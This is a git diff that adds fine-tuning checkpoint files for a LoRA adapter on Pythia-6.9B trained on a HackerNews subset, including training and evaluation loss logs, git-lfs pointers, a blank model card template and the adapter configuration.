"eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.86531455336448e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-480/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..15c5104ab4a21cab2f09755277b2ebe0df19e4d5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4123e4829ce1bf095b3f65445d49345cd747318591264974d0ee811bddfcda81 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..417e30380ec2e6b1cb2c4143534a262b315f34e3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:40229855bfdb0f9e5f78294d19d38aa9ead1fe3a4534a5ac3c785355713a6081 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..031b265de35950a615eacc2c86e46292f552e541 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b56a3ff26dded8216d560cf73ba4817b5973851b78edbbf6aa9d6b515761df8c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..5c509b1230d4d9d9bf05bb1cf38bcd2d3119d2c8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:65f3e63eff29379b2f31d4f746c0c715c2b686bd11d7e07aba3d5f29231a18da +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..12e42f048e970ab8554e923a141ed7b83f0dc341 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/trainer_state.json @@ -0,0 +1,768 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.533333333333333, + "eval_steps": 10, + "global_step": 490, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 